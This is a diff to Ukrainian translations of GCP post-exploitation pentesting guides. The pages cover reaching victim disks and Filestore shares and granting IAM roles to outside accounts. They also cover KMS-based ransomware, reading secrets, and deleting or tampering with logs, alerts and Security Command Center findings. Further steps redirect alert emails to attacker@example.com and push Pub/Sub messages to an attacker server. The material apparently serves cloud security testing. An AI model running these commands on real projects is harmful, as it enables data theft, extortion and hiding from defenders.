+ +Якщо ви не можете надати вашому зовнішньому акаунту доступ до образу, ви можете запустити VM з цим образом у проєкті жертви та змусити метадані виконати reverse shell, щоб отримати доступ до образу, додавши параметр: + +
+ +Створити VM з reverse shell у метаданих ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ``` -### Інспекція знімка/диска, приєднуючи його до ВМ +
-З метою доступу до **даних, збережених на диску або знімку, ви можете перетворити знімок на диск, диск на образ і слідувати попереднім крокам.** +### Переглянути Snapshot/Disk, підключивши його до VM -Або ви можете **надати зовнішньому обліковому запису доступ** до диска (якщо початковою точкою є знімок, надайте доступ до знімка або створіть диск з нього): +З метою доступу до **даних, що зберігаються в disk або snapshot, ви можете перетворити snapshot у disk, disk у image і виконати попередні кроки.** + +Або ви можете **надати зовнішньому акаунту доступ** до disk (якщо точка старту — snapshot, надайте доступ до snapshot або створіть з нього disk): + +
+ +Надати доступ до disk ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ``` -**Прикріпіть диск** до екземпляра: +
+ +**Приєднати диск** до instance: + +
+ +Приєднати диск до instance ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ``` +
+ Змонтуйте диск всередині VM: -1. **SSH у VM**: +1. **SSH into the VM**: + +
+ +SSH into VM і змонтуйте диск ```sh gcloud compute ssh [INSTANCE_NAME] --zone [ZONE] ``` -2. **Визначте диск**: Після входу у VM визначте новий диск, перерахувавши дискові пристрої. Зазвичай ви можете знайти його як `/dev/sdb`, `/dev/sdc` тощо. -3. **Форматування та монтування диска** (якщо це новий або сирий диск): +
+ +2. **Визначте диск**: Опинившись у VM, визначте новий диск, перелічивши пристрої дисків. Зазвичай його можна знайти як `/dev/sdb`, `/dev/sdc` тощо. +3. **Форматування та монтування диска** (якщо це новий або raw диск): - Створіть точку монтування: +
+ +Створити точку монтування та змонтувати + ```sh sudo mkdir -p /mnt/disks/[MOUNT_DIR] ``` -- Змонтируйте диск: +
+ +- Змонтуйте диск: + +
+ +Монтування пристрою диска ```sh sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR] ``` -Якщо ви **не можете надати доступ до зовнішнього проекту** до знімка або диска, вам, можливо, потрібно буде **виконати ці дії всередині екземпляра в тому ж проекті, що й знімок/диск**. +
+ +Якщо ви **не можете надати доступ зовнішньому проекту** до snapshot або диска, можливо, вам доведеться p**виконати ці дії всередині екземпляра в тому ж проекті, що й snapshot/disk**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md index f4fdc6a7a..fdaa02b61 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md @@ -4,7 +4,7 @@ ## Filestore -Для отримання додаткової інформації про Filestore перегляньте: +Для отримання додаткової інформації про Filestore дивіться: {{#ref}} ../gcp-services/gcp-filestore-enum.md @@ -12,7 +12,11 @@ ### Mount Filestore -Спільна файлова система **може містити чутливу інформацію**, цікаву з точки зору атакуючого. Маючи доступ до Filestore, можна **монтувати його**: +Спільна файлова система **може містити конфіденційну інформацію**, що може зацікавити зловмисника. Маючи доступ до Filestore, можна **mount it**: + +
+ +Mount Filestore filesystem ```bash sudo apt-get update sudo apt-get install nfs-common @@ -22,15 +26,21 @@ showmount -e mkdir /mnt/fs sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs ``` -Щоб знайти IP-адресу екземпляра filestore, перевірте розділ перерахування на сторінці: +
+ +Щоб знайти IP-адресу інстанції Filestore перевірте розділ enumeration сторінки: {{#ref}} ../gcp-services/gcp-filestore-enum.md {{#endref}} -### Видалити обмеження та отримати додаткові дозволи +### Зняти обмеження та отримати додаткові права -Якщо зловмисник не має IP-адреси з доступом до спільного ресурсу, але у вас є достатні дозволи для його модифікації, можливо, видалити обмеження або доступ до нього. Також можливо надати більше привілеїв для вашої IP-адреси, щоб мати адміністративний доступ до спільного ресурсу: +Якщо зловмисник не знаходиться в IP-адресі з доступом до шару, але у вас достатньо дозволів для її модифікації, можна зняти обмеження доступу або змінити налаштування доступу. Також можливо надати більше привілеїв для вашої IP-адреси, щоб отримати admin access до шару: + +
+ +Оновити інстанцію Filestore, щоб дозволити доступ ```bash gcloud filestore instances update nfstest \ --zone= \ @@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \ } } ``` -### Відновлення резервної копії +
-Якщо є резервна копія, її можна **відновити** в існуючому або в новому екземплярі, щоб її **інформація стала доступною:** +### Відновити резервну копію + +Якщо існує резервна копія, можна **відновити її** в існуючій або в новій інстанції, щоб її **інформація стала доступною:** + +
+ +Створити нову інстанцію та відновити резервну копію ```bash # Create a new filestore if you don't want to modify the old one gcloud filestore instances create \ @@ -76,9 +92,15 @@ gcloud filestore instances restore \ # Follow the previous section commands to mount it ``` -### Створіть резервну копію та відновіть її +
-Якщо ви **не маєте доступу до загального ресурсу і не хочете його змінювати**, можливо **створити резервну копію** і **відновити** її, як було згадано раніше: +### Створити backup і restore + +Якщо ви **не маєте доступу до share і не хочете його змінювати**, можна **створити backup** і **restore** його, як було описано раніше: + +
+ +Створити backup і restore у новому instance ```bash # Create share backup gcloud filestore backups create \ @@ -89,4 +111,6 @@ gcloud filestore backups create \ # Follow the previous section commands to restore it and mount it ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md index f0ec8e286..1b4c29793 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md @@ -1,27 +1,33 @@ -# GCP - IAM Постексплуатація +# GCP - IAM Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## IAM -Ви можете знайти додаткову інформацію про IAM у: +Детальнішу інформацію про IAM можна знайти в: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} -### Надання доступу до консолі управління +### Надання доступу до консолі керування -Доступ до [консолі управління GCP](https://console.cloud.google.com) **надається обліковим записам користувачів, а не обліковим записам служб**. Щоб увійти в веб-інтерфейс, ви можете **надати доступ до облікового запису Google**, яким ви керуєте. Це може бути загальний "**@gmail.com**" обліковий запис, він **не обов'язково має бути членом цільової організації**. +Доступ до [GCP management console](https://console.cloud.google.com) **надається обліковим записам користувачів, не service accounts**. Щоб увійти в веб-інтерфейс, ви можете **надати доступ обліковому запису Google**, яким ви керуєте. Це може бути загальний "**@gmail.com**" акаунт, він **не обов'язково має бути членом цільової організації**. -Щоб **надати** первинну роль **Власника** загальному обліковому запису "@gmail.com", вам потрібно **використати веб-консоль**. `gcloud` видасть помилку, якщо ви спробуєте надати йому дозвіл вище, ніж Редактор. +Щоб, однак, **наділити** примітивну роль **Owner** загальний акаунт "@gmail.com", вам доведеться **використати веб-консоль**. `gcloud` видасть помилку, якщо ви спробуєте надати йому дозвіл вище ніж Editor. -Ви можете використовувати наступну команду, щоб **надати користувачу первинну роль Редактора** у вашому існуючому проекті: +Ви можете використати наступну команду, щоб **надати користувачу примітивну роль Editor** у вашому існуючому проекті: + +
+ +Надати користувачу роль Editor ```bash gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor ``` -Якщо ви досягли успіху тут, спробуйте **доступитися до веб-інтерфейсу** та дослідити звідти. +
-Це **найвищий рівень, який ви можете призначити за допомогою інструменту gcloud**. +Якщо вам тут вдалося, спробуйте **отримати доступ до веб-інтерфейсу** і дослідити звідти. + +Це **найвищий рівень, який ви можете призначити, використовуючи інструмент gcloud**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md index 158f2aa2f..87334e166 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md @@ -1,10 +1,10 @@ -# GCP - KMS Постексплуатація +# GCP - KMS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## KMS -Знайдіть основну інформацію про KMS у: +Знайдіть базову інформацію про KMS у: {{#ref}} ../gcp-services/gcp-kms-enum.md @@ -12,7 +12,11 @@ ### `cloudkms.cryptoKeyVersions.destroy` -Зловмисник з цим дозволом міг би знищити версію KMS. Для цього спочатку потрібно вимкнути ключ, а потім знищити його: +Користувач attacker з цим дозволом може знищити версію KMS. Щоб це зробити, спочатку потрібно відключити ключ, а потім знищити його: + +
+ +Відключити та знищити версію ключа (Python) ```python # pip install google-cloud-kms @@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version) # Destroy the key version destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version) ``` +
+ ### KMS Ransomware -У AWS можливо повністю **вкрасти KMS ключ** шляхом модифікації політики ресурсів KMS і дозволивши лише обліковому запису зловмисника використовувати ключ. Оскільки такі політики ресурсів не існують у GCP, це неможливо. +У AWS можливо повністю **викрасти ключ KMS** шляхом зміни політики ресурсів KMS і дозволивши використовувати ключ лише обліковому запису зловмисника. Оскільки такі політики ресурсів відсутні в GCP, це неможливо. -Однак є інший спосіб виконати глобальне KMS Ransomware, який включатиме наступні кроки: +Однак існує інший спосіб виконати глобальний KMS Ransomware, який включає такі кроки: - Створити нову **версію ключа з матеріалом ключа**, імпортованим зловмисником ```bash gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY] ``` -- Встановіть його як **версію за замовчуванням** (для майбутніх даних, що шифруються) -- **Перешифруйте старі дані**, зашифровані попередньою версією, новою. -- **Видаліть KMS ключ** -- Тепер тільки атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані +- Встановити його як **версію за замовчуванням** (для майбутніх даних, що будуть зашифровані) +- **Повторно зашифрувати старі дані**, зашифровані попередньою версією, новою версією. +- **Видалити KMS key** +- Тепер лише зловмисник, який має оригінальний ключовий матеріал, зможе розшифрувати зашифровані дані #### Ось кроки для імпорту нової версії та відключення/видалення старих даних: + +
+ +Імпортувати нову версію ключа та видалити стару версію ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt @@ -146,7 +156,13 @@ gcloud kms keys versions destroy \ --version 1 ``` +
+ ### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation` + +
+ +Зашифрувати дані за допомогою симетричного ключа (Python) ```python from google.cloud import kms import base64 @@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt' ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext) print('Ciphertext:', ciphertext) ``` +
+ ### `cloudkms.cryptoKeyVersions.useToSign` + +
+ +Підписати повідомлення асиметричним ключем (Python) ```python import hashlib from google.cloud import kms @@ -215,7 +237,13 @@ message = 'your-message' signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print('Signature:', signature) ``` +
+ ### `cloudkms.cryptoKeyVersions.useToVerify` + +
+ +Перевірити підпис за допомогою асиметричного ключа (Python) ```python from google.cloud import kms import hashlib @@ -242,4 +270,6 @@ return verify_response.success verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature) print('Verified:', verified) ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 1d962862d..cef163d77 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -1,10 +1,10 @@ -# GCP - Логування після експлуатації +# GCP - Logging Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Основна інформація -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації див.: {{#ref}} ../gcp-services/gcp-logging-enum.md @@ -16,15 +16,19 @@ gcp-monitoring-post-exploitation.md {{#endref}} -### За замовчуванням логування +### Default Logging -**За замовчуванням вас не спіймають лише за виконання дій читання. Для отримання додаткової інформації перегляньте розділ Логування Enum.** +**За замовчуванням вас не зафіксують лише за виконання операцій читання. Для додаткової інформації див. секцію Logging Enum.** -### Додати виключений принципал +### Add Excepted Principal -У [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) та [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) можливо додати принципали, щоб не генерувати логи. Зловмисник може зловживати цим, щоб уникнути спіймання. +У [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) та [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) можна додати принципалів, для яких не генеруються логи. Зловмисник може зловживати цим, щоб уникнути виявлення. -### Читати логи - `logging.logEntries.list` +### Читання логів - `logging.logEntries.list` + +
+ +Перегляд записів логів ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format= # Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default ``` +
+ ### `logging.logs.delete` + +
+ +Видалити записи журналу ```bash # Delete all entries from a log in the _Default log bucket - logging.logs.delete gcloud logging logs delete ``` -### Записати журнали - `logging.logEntries.create` +
+ +### Запис логів - `logging.logEntries.create` + +
+ +Додати запис журналу ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ``` +
+ ### `logging.buckets.update` + +
+ +Оновити період зберігання журналів у bucket ```bash # Set retention period to 1 day (_Required has a fixed one of 400days) gcloud logging buckets update bucketlog --location= --description="New description" --retention-days=1 ``` +
+ ### `logging.buckets.delete` + +
+ +Видалити bucket логів ```bash # Delete log bucket gcloud logging buckets delete BUCKET_NAME --location= ``` +
+ ### `logging.links.delete` + +
+ +Видалити log link ```bash # Delete link gcloud logging links delete --bucket --location ``` +
+ ### `logging.views.delete` + +
+ +Видалити logging view ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global ``` +
+ ### `logging.views.update` + +
+ +Оновити logging view, щоб приховати дані ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" ``` +
+ ### `logging.logMetrics.update` + +
+ +Оновити метрики на основі логів ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID ``` +
+ ### `logging.logMetrics.delete` + +
+ +Видалити метрики на основі логів ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete ``` +
+ ### `logging.sinks.delete` + +
+ +Видалити log sink ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete ``` +
+ ### `logging.sinks.update` + +
+ +Оновити/порушити log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions gcloud logging sinks update SINK_NAME --use-partitioned-tables gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md index dd84787ac..aea98f0c9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md @@ -1,16 +1,16 @@ -# GCP - Моніторинг Після Експлуатації +# GCP - Monitoring Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Моніторинг -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації див.: {{#ref}} ../gcp-services/gcp-monitoring-enum.md {{#endref}} -Для інших способів порушення журналів перегляньте: +Для інших способів порушення логів див.: {{#ref}} gcp-logging-post-exploitation.md @@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md ### `monitoring.alertPolicies.delete` -Видалити політику сповіщення: +Видалити політику оповіщення: + +
+ +Видалити політику оповіщення ```bash gcloud alpha monitoring policies delete ``` +
+ ### `monitoring.alertPolicies.update` -Порушити політику сповіщень: +Порушити політику оповіщення: + +
+ +Порушити політику оповіщення ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled @@ -39,9 +49,15 @@ gcloud alpha monitoring policies update --set-notification-channe gcloud alpha monitoring policies update --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }" # or use --policy-from-file ``` +
+ ### `monitoring.dashboards.update` -Змініть інформаційну панель, щоб порушити її: +Змініть дашборд, щоб порушити його: + +
+ +Пошкодити дашборд ```bash # Disrupt dashboard gcloud monitoring dashboards update --config=''' @@ -53,16 +69,28 @@ widgets: content: Hello World ''' ``` +
+ ### `monitoring.dashboards.delete` -Видалити інформаційну панель: +Видалити дашборд: + +
+ +Видалити дашборд ```bash # Delete dashboard gcloud monitoring dashboards delete ``` +
+ ### `monitoring.snoozes.create` -Запобігайте створенню сповіщень політиками, створюючи snoozer: +Запобігти генерації сповіщень політиками, створивши snoozer: + +
+ +Створити snoozer, щоб зупинити сповіщення ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ @@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ``` +
+ ### `monitoring.snoozes.update` -Оновіть час сну, щоб запобігти створенню сповіщень, коли зловмисник зацікавлений: +Оновіть час snoozer-а, щоб запобігти створенню сповіщень у моменти, коли атакуючий зацікавлений: + +
+ +Оновити час snoozer-а ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME @@ -80,19 +114,33 @@ gcloud monitoring snoozes update --start-time=START_TIME --end-time=END # odify everything, including affected policies gcloud monitoring snoozes update --snooze-from-file= ``` +
+ ### `monitoring.notificationChannels.delete` Видалити налаштований канал: + +
+ +Видалити канал сповіщень ```bash # Delete channel gcloud alpha monitoring channels delete ``` +
+ ### `monitoring.notificationChannels.update` -Оновіть мітки каналу, щоб порушити його: +Оновіть мітки каналу, щоб порушити його роботу: + +
+ +Оновити мітки каналу сповіщень ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index 46add3433..5e1fc36de 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -1,4 +1,4 @@ -# GCP - Pub/Sub Постексплуатація +# GCP - Pub/Sub Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -12,40 +12,68 @@ ### `pubsub.topics.publish` -Опублікуйте повідомлення в темі, корисно для **відправки несподіваних даних** та активації несподіваних функцій або експлуатації вразливостей: +Опублікувати повідомлення в темі — корисно для **відправлення непередбачених даних** та запуску непередбачуваних функцій або використання вразливостей: + +
+ +Опублікувати повідомлення в темі ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ``` +
+ ### `pubsub.topics.detachSubscription` -Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення. +Корисно, щоб запобігти отриманню підпискою повідомлень, наприклад щоб уникнути виявлення. + +
+ +Від'єднати підписку від теми ```bash gcloud pubsub topics detach-subscription ``` +
+ ### `pubsub.topics.delete` -Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.\ -Можливо видалити тему, навіть якщо до неї прикріплені підписки. +Корисно, щоб запобігти отриманню повідомлень підпискою, можливо для уникнення виявлення.\ +Можна видалити тему навіть якщо до неї прикріплені підписки. + +
+ +Видалити тему ```bash gcloud pubsub topics delete ``` +
+ ### `pubsub.topics.update` -Використовуйте цей дозвіл, щоб оновити деякі налаштування теми, щоб порушити її, такі як `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Використайте цей дозвіл, щоб змінити деякі налаштування теми задля її порушення, наприклад `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -Надайте собі дозвіл виконувати будь-які з попередніх атак. +Надайте собі дозвіл виконувати будь-яку з попередніх атак. ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -Отримайте всі повідомлення на веб-сервері: +Отримайте всі повідомлення на веб‑сервері: + +
+ +Створіть push subscription для отримання повідомлень ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ``` -Створіть підписку та використовуйте її для **витягування повідомлень**: +
+ +Створіть підписку і використайте її, щоб **витягувати повідомлення**: + +
+ +Створити pull-підписку і отримати повідомлення ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -54,26 +82,44 @@ gcloud pubsub subscriptions create --topic gcloud pubsub subscriptions pull ## This command will wait for a message to be posted ``` +
+ ### `pubsub.subscriptions.delete` -**Видалення підписки** може бути корисним для порушення системи обробки журналів або чогось подібного: +**Видалення підписки** може бути корисним для порушення системи обробки логів або чогось подібного: + +
+ +Видалити підписку ```bash gcloud pubsub subscriptions delete ``` +
+ ### `pubsub.subscriptions.update` -Використовуйте цей дозвіл, щоб оновити деякі налаштування, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, таблиця Big Query, Bucket) або просто для його порушення. +Використовуйте цей дозвіл, щоб змінити налаштування так, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб порушити їх доставку. + +
+ +Оновити кінцеву точку підписки ```bash gcloud pubsub subscriptions update --push-endpoint ``` +
+ ### `pubsub.subscriptions.setIamPolicy` -Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак. +Надайте собі дозволи, необхідні для виконання будь-яких із раніше описаних атак. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -Атакуйте схему на тему, щоб повідомлення не відповідали їй, і, отже, тема була порушена.\ -Якщо немає жодних схем, можливо, вам потрібно буде створити одну. +Прикріпіть схему до топіка так, щоб повідомлення їй не відповідали, і внаслідок цього топік було порушено.\ +Якщо схем немає, можливо, доведеться створити одну. + +
+ +Створити файл схеми та прикріпити його до топіка ```json:schema.json { "namespace": "com.example", @@ -98,23 +144,37 @@ gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` +
+ ### `pubsub.schemas.delete` -Це може виглядати як видалення схеми, але ви зможете надсилати повідомлення, які не відповідають схемі. Однак, оскільки схема буде видалена, жодне повідомлення насправді не потрапить у тему. Тож це **БЕЗГЛУЗДО**: +Може здатися, що видаливши schema, ви зможете надсилати повідомлення, які не відповідають schema. Проте, оскільки schema буде видалено, жодне повідомлення фактично не потрапить у topic. Тому це **БЕЗКОРИСНО**: + +
+ +Видалити schema (не корисно) ```bash gcloud pubsub schemas delete ``` +
+ ### `pubsub.schemas.setIamPolicy` -Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак. +Надайте собі дозволи, необхідні для виконання будь-якої з попередньо згаданих атак. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -Це створить знімок усіх не підтверджених повідомлень і поверне їх назад до підписки. Не дуже корисно для атакуючого, але ось так: +Це створить snapshot всіх unACKed повідомлень і поверне їх назад у підписку. Не дуже корисно для зловмисника, але ось: + +
+ +Створити snapshot і виконати seek до нього ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md index 54976aaf9..59d258fcc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secretmanager -Для отримання додаткової інформації про Secret Manager перегляньте: +Для отримання додаткової інформації про Secret Manager див.: {{#ref}} ../gcp-services/gcp-secrets-manager-enum.md @@ -12,9 +12,15 @@ ### `secretmanager.versions.access` -Це дає вам доступ до читання секретів з менеджера секретів і, можливо, це може допомогти підвищити привілеї (залежно від того, яка інформація зберігається в секреті): +Це дає доступ до читання секретів із Secret Manager і може допомогти в ескалації привілеїв (залежно від того, яка інформація зберігається в секреті): + +
+ +Доступ до версії секрету ```bash # Get clear-text of version 1 of secret: "" gcloud secrets versions access 1 --secret="" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md index 6a3c89bb0..6225f4ff5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md @@ -1,10 +1,10 @@ -# GCP - Безпека після експлуатації +# GCP - Security Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Безпека -Для отримання додаткової інформації перегляньте: +Для додаткової інформації див.: {{#ref}} ../gcp-services/gcp-security-enum.md @@ -12,37 +12,67 @@ ### `securitycenter.muteconfigs.create` -Запобігти генерації висновків, які можуть виявити зловмисника, створивши `muteconfig`: +Запобіжте створенню виявлень, які могли б виявити зловмисника, створивши `muteconfig`: + +
+ +Створити Muteconfig ```bash # Create Muteconfig gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\"" ``` +
+ ### `securitycenter.muteconfigs.update` -Запобігти генерації висновків, які можуть виявити зловмисника, оновивши `muteconfig`: +Запобігти генерації findings, які можуть виявити attacker, оновивши `muteconfig`: + +
+ +Оновити Muteconfig ```bash # Update Muteconfig gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\"" ``` +
+ ### `securitycenter.findings.bulkMuteUpdate` -Заглушити знахідки на основі фільтра: +Заглушити findings на основі фільтра: + +
+ +Масове заглушення за фільтром ```bash # Mute based on a filter gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\"" ``` -Заглушене виявлення не з'явиться на панелі інструментів SCC та в звітах. +
+ +Muted finding не з'явиться в SCC dashboard і у звітах. ### `securitycenter.findings.setMute` -Заглушити виявлення на основі джерела, виявлень... +Mute findings based on source, findings... + +
+ +Set finding as muted ```bash -gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED +gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED ``` +
+ ### `securitycenter.findings.update` -Оновіть виявлення, щоб вказати на помилкову інформацію: +Оновити виявлення, щоб вказати помилкову інформацію: + +
+ +Оновити стан виявлення ```bash gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE ``` +
